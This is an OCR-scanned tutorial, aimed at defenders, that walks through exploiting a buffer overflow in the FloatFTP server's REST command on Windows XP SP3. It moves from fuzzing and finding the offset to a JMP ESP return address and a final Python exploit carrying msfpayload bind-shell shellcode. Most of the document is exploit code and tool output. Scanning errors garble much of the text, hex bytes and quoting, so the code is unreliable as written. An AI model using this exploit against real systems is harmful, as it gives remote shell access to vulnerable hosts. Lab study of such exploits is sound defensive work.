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Understanding Buffer Overflow Exploits

The first time that | had to work with a buffer overflow exploit, | was completely out of my depth. Although | could build
networks and configure firewalls, proxies, and intrusion detection systems without breaking a sweat, exploit coding was a
whole new world to me. However, as with any complex or difficult concept, breaking it down into manageable pieces
proved to be an effective strategy.

After conducting research and following tutorials, the concepts and tools started to become less confusing and the details
began to stick. | then started looking for simple buffer overflow vulnerabilities in known applications that | could recreate
in my lab. It is in a working lab that concepts begin to click and the process - in its individual parts as well as a whole -
becomes visible.

This tutorial will provide defenders with a basic idea of the attackers' exploit development process, the level of effort
required, and the challenges that attackers face when writing malicious code to target specific vulnerabilities.

Today's attackers are determined and skilled and an understanding of how they operate is key for anyone tasked with
defending computers and networks. The more understanding the defender has of the enemies motives and techniques the
easier it is to formulate effective countermeasures.

| will go through several phases of exploit development and arrive at a working exploit. First, we will fuzz our target
application to make it crash in interesting ways, monitor the crashes with Immunity debugger, and find a vulnerable

location in Windows memory to target with our shellcode. We will then create an exploit to deliver the shellcode and
compromise the remote system.

Reaquired Software / Setup

Attacking system: Backtrack Linux (I used R3)

Development / Victim system: Windows XP SP3 English

Immunity debugger - Installed on Windows XP system

FloatFTP - The application we are going to exploit - (Ignore the existing exploit on this page for now and click the
"vulnerable app" button to download. Extract the file to a folder on the desktop of the XP system.)

Let's get started.

Fuzzing

"Fuzzing" is a software testing practice in which malformed, excessive and random data is send to a computer program in
attempts to make it crash or behave in unintended ways. Fuzzing is used test security of programs and systems.

Double click the float FTP executable to start the application:
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Verify that it's running and listening on port 21 by opening a cmd prompt and typing:

netstat -an | find "21"
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C:sDocuments and Settings~Administrator>netstat —an i find "21"
TGP A.8.8.8:21 A.8.0.8:8 LISTENING
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#!/usr/bin/python
import socket

# Create an array of buffers, from 20 to 2000, with increments of 20.
buffer=["A"]
counter=20
while len (buffer) <= 30:
buffer.append ("A"*counter)
counter=counter+100

# Define the FTP commands to be fuzzed
commands=["REST"]

# Run the fuzzing loop
for command in commands:
for string in buffer:
print "Fuzzing" + command + " with length:" +str(len(string))
s=socket.socket (socket.AF INET, socket.SOCK_STREAM)
connect=s.connect (('10.10.10.32"',21)) # Target IP address
.recv(1024)
.send ('USER ftp\r\n') # login user
.recv(1024)
.send ('"PASS ftp\r\n') # login password
.recv(1024)
.send(command + ' ' + string + '\r\n') # buffer
.recv(1024)
("QUIT\r\n")

Dnnnnnoon

.send



http://3.bp.blogspot.com/-RA_ECXmCImA/UZFP6Bp2FRI/AAAAAAAAADs/OOXb5RPVFXw/s1600/1a.JPG
http://1.bp.blogspot.com/-gqlJPeMcN8k/UZVnU2VBXoI/AAAAAAAAAHg/kl5K9GWiQn8/s1600/attach.JPG
http://3.bp.blogspot.com/-QJ1RAv5hyIs/UZVohKV7c6I/AAAAAAAAAHs/u0k_4niMDqA/s1600/debug1.JPG
http://blogs.technet.com/msrc/
http://www.offensive-security.com/
http://isc.sans.org/

s.close ()

http://www.exploit-db.com/exploits/17546/

GNU nano 2.2.2 File: fuzzer.p

ter+100

chmod 755 fuzzer.py
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#!/usr/bin/python

import socket

s = socket.socket (socket.AF INET, socket.SOCK_STREAM)
pbuffer = "\x41' * 1000

print "\nSending evil buffer..."
s.connect (('10.10.10.32"',21))
data = s.recv(1024)

s.send('USER ftp' +'\r\n")

data = s.recv(1024)

s.send ('PASS ftp' +'\r\n')

data = s.recv(1024)

s.send ('REST' +buffer+'\r\n')

s.close ()
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./pattern_create.rb 1000

#!/usr/bin/python

import socket

s = socket.socket (socket.AF INET, socket.SOCK_ STREAM)
#buffer = '\x41' * 1000

buffer = "Paste pattern create buffer here"
print "\nSending evil buffer..."

s.connect (('10.10.10.32',21))

data = s.recv(1024)

s.send ('"USER ftp' +'\r\n')

data = s.recv(1024)

s.send('PASS ftp' +'\r\n")

data = s.recv(1024)

s.send ('REST' +buffer+'\r\n'")

s.close()
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./pattern_offset.rb 69413269

./pattern_offset.rb 69413669

t match at off

t match at of

buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741

#!/usr/bin/python

import socket

s = socket.socket (socket.AF INET, socket.SOCK_STREAM)
#buffer = x41 * 1000

#buffer = "pattern create buffer"

buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741
print "\nSending evil buffer..."

s.connect (('10.10.10.32"',21))

data = s.recv(1024)

s.send ('USER ftp' +'\r\n")

data = s.recv(1024)

s.send ('PASS ftp' +'\r\n")

data = s.recv(1024)

s.send ('REST' +buffer+'\r\n'")

s.close ()
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buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741

#!/usr/bin/python

import socket

s = socket.socket (socket.AF INET, socket.SOCK STREAM)

#buffer = x41 * 1000

#pbuffer = "pattern create buffer"

#buffer = "\x41"*247 + "\x44\x44\x44\x44" + "\x43"*8 + "\x44"*741
# Windows XP SP3 kernel32.dll JMP ESP

buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741
print "\nSending evil buffer..."

s.connect (('10.10.10.32"',21))

data = s.recv(1024)

s.send ('USER ftp' +'\r\n")

data = s.recv(1024)

s.send ('PASS ftp' +'\r\n")

data = s.recv(1024)

s.send ('REST' +buffer+'\r\n')

s.close ()
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msfpayload windows/shell bind tcp EXITFUNC=seh LPORT=999 R | msfencode -b '\x40\x0A\x00\x0D\xff\x0d\x

»

[*] x86/shikata_ga nai succeeded with size 368 (iteration=1)

buf =

"\xba\x2e\x27\xc2\x55\xdb\xdc\xd9\x74\x24 \xf4\x5f\x2b\xc9"
"\xb1\x56\x31\x57\x13\x83\xef\xfc\x03\x57\x21\xc5\x37\xa9"
"\xd5\x80\xb8\x52\x25\xf3\x31\xb7\x14\x21\x25\xb3\x04\xf5"
"\x2d\x91\xa4\x7e\x63\x02\x3f\xf2\xac\x25\x88\xb9\x8a\x08"
"\x09\x0c\x13\xc6\xc9\x0e\xef\x15\x1d\xfl\xce\xd5\x50\x£0"
"\x17\x0b\x9%a\xa0\xc0\x47\x08\x55\x64\x15\x90\x54 \xaa\x11"
"\xa8\x2e\xcf\xe6\x5c\x85\xce\x36\xcc\x92\x99\xae\x67\xfc"
"\x39\xce\xad\x1e\x05\x99\xc1\xd5\xfd\x18\x03\x24\xfd\x2a"
"\x6b\xeb\xc0\x82\x66\xf5\x05\x24\x98\x80\x7d\x56\x25\x93"
"\x45\x24\xf1\x16\x58\x8e\x72\x80\xb8\x2e\x57\x57\x4a\x3c"
"\x1c\x13\x14\x21\xa3\xf0\x2e\x5d\x28\xf7\xe0\xd7\x6a\xdc"
"\x24\xb3\x29\x7d\x7c\x19\x9c\x82\x9e\xc5\x41\x27\xd4 \xed"
"\x96\x51\xb7\x60\x5b\x6c\x48\x71\xf3\xe7\x3b\x43\x5c\x5c"
"\xd4\xef\x15\x7a\x23\x0f\x0c\x3a\xbb\xee\xae\x3b\x95\x34"
"\xfa\x6b\x8d\x9d\x82\xe7\x4d\x21\x57\xa7\x1d\x8d\x07\x08"
"\xce\x6d\xf7\xe0\x04\x62\x28\x10\x27\xa8\x5f\x16\xe9\x88"
"\x0c\xf1\x08\x2f\xbl\xe6\x84\xcI\xdf\xf8\xc0\x42\x77\x3b"
"\x37\x5b\xe0\x44\x1d\x£7\xb9\xd2\x29\x11\x7d\xdc\xa9\x37"
"\x2e\x71\x01\xd0\xa4\x99\x96\xcl\xbb\xb7\xbe\x88\x84\x50"
"\x34\xe5\x47\xc0\x49\x2c\x3f\x61\xdb\xab\xbf\xec\xc0\x63"
"\xeB8\xb9\x37\x7a\x7c\x54\x61\xd4\x62\xa5\xf7\x1f\x26\x72"
"\xc4\x9e\xa7\xf7\x70\x85\xb7\xc1\x79\x81\xe3\x9d\x2f\x5f"
"\x5d\x58\x86\x11\x37\x32\x75\x£8\xdf\xc3\xb5\x3b\x99\xcb"
"\x93\xcd\x45\x7d\x4a\x88\x7a\xb2\xla\xlc\x03\xae\xba\xe3"
"\xde\x6a\xc4\x12\xd2\x66\x51\x8d\x87\xca\x3f\x2e\x72\x08"
"\x46\xad\x76\xf1\xbd\xad\xf3\xf4\xfa\x69\xe8\x84\x93\x1£f"
"\x0e\x3a\x93\x35"
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buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + shellcode + "\xCC"*373
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buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 + shellcode + "\xCC"*357

#!/usr/bin/python
import socket
s = socket.socket (socket.AF INET, socket.SOCK_STREAM)

#buffer = '"\x41' * 1000
#buffer = "AaOAalAa2Rha3RadAa5AabAa’Ra8RadRb0AblAb2Ab3Ab4Ab5SAb6ALTAL8ALIACOACIAC2AC3AC4ACS5AC6ACTACBACS
#buffer = "\x41"*247 + "\x42\x42\x42\x42" + "\x43"*8 + "\x44"*741

## msfpayload windows/shell bind tcp EXITFUNC=seh LPORT=999 R | msfencode -b '\x40\x0A\x00\x0D' 368 b

shellcode = ("\xba\x2e\x27\xc2\x55\xdb\xdc\xd9\x74\x24\xf4\x5f\x2b\xc9"
"\xb1\x56\x31\x57\x13\x83\xef\xfc\x03\x57\x21\xc5\x37\xa9"
"\xd5\x80\xb8\x52\x25\x£3\x31\xb7\x14\x21\x25\xb3\x04\x£5"
"\x2d\x91\xa4\x7e\x63\x02\x3f\xf2\xac\x25\x88\xb9\x8a\x08"
"\x09\x0c\x13\xc6\xc9\x0e\xef\x15\x1d\xfl\xce\xd5\x50\xf0"
"\x17\x0b\x9a\xa0\xc0\x47\x08\x55\x64\x15\x90\x54 \xaa\x11"
"\xa8\x2e\xcf\xe6\x5c\x85\xce\x36\xcc\x92\x99\xae\x67\xfc"
"\x39\xce\xad\x1e\x05\x99\xc1\xd5\xfd\x18\x03\x24\xfd\x2a"
"\x6b\xeb\xc0\x82\x66\xf5\x05\x24\x98\x80\x7d\x56\x25\x93"
"\x45\x24\xf1\x16\x58\x8e\x72\x80\xb8\x2e\x57\x57\x4a\x3c"
"\x1c\x13\x14\x21\xa3\xf0\x2e\x5d\x28\xf7\xe0\xd7\x6a\xdc"
"\x24\xb3\x29\x7d\x7c\x19\x9c\x82\x9e\xc5\x41\x27\xd4\xed"
"\x96\x51\xb7\x60\x5b\x6c\x48\x71\xf3\xe7\x3b\x43\x5c\x5c"
"\xd4\xef\x15\x7a\x23\x0£f\x0c\x3a\xbb\xee\xae\x3b\x95\x34"
"\xfa\x6b\x8d\x9d\x82\xe7\x4d\x21\x57\xa7\x1d\x8d\x07\x08"
"\xce\x6d\xf7\xe0\x04\x62\x28\x10\x27\xa8\x5f\x16\xe9\x88"
"\x0c\xf1\x08\x2f\xbl\xe6\x84\xcI\xdf\xf8\xc0\x42\x77\x3b"
"\x37\x5b\xe0\x44\x1d\xf7\xb9\xd2\x29\x11\x7d\xdc\xa9\x37"
"\x2e\x71\x01\xd0\xa4\x99\x96\xcl\xbb\xb7\xbe\x88\x84\x50"
"\x34\xe5\x47\xc0\x49\x2c\x3f\x61\xdb\xab\xbf\xec\xc0\x63"
"\xe8\xb9\x37\x7a\x7c\x54\x61\xd4\x62\xa5\xf7\x1£\x26\x72"
"\xcd\x9e\xa7\xf7\x70\x85\xb7\xc1\x79\x81\xe3\x9d\x2f\x5£"
"\x5d\x58\x86\x11\x37\x32\x75\x£8\xdf\xc3\xb5\x3b\x99\xcb"
"\x93\xcd\x45\x7d\x4a\x88\x7a\xb2\xla\x1lc\x03\xae\xba\xe3"
"\xde\x6a\xc4\x12\xd2\x66\x51\x8d\x87\xca\x3f\x2e\x72\x08"
"\x46\xad\x76\xf1\xbd\xad\x£3\xf4\xfa\x69\xe8\x84\x93\x1£f"
"\x0e\x3a\x93\x35")

## Windows XP SP3 kernel32.dll 7C86467B JMP ESP
#buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741

buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\x90"*16 + shellcode + "\xCC"*357

print "\nSending evil buffer..
s.connect (('10.10.10.32"',21)
data = s.recv(1024)

s.send ('USER ftp' +'\r\n")
data = s.recv(1024)

s.send ('PASS ftp' +'\r\n')
data = s.recv(1024)

s.send ('"REST' +buffer+'\r\n')
s.close ()
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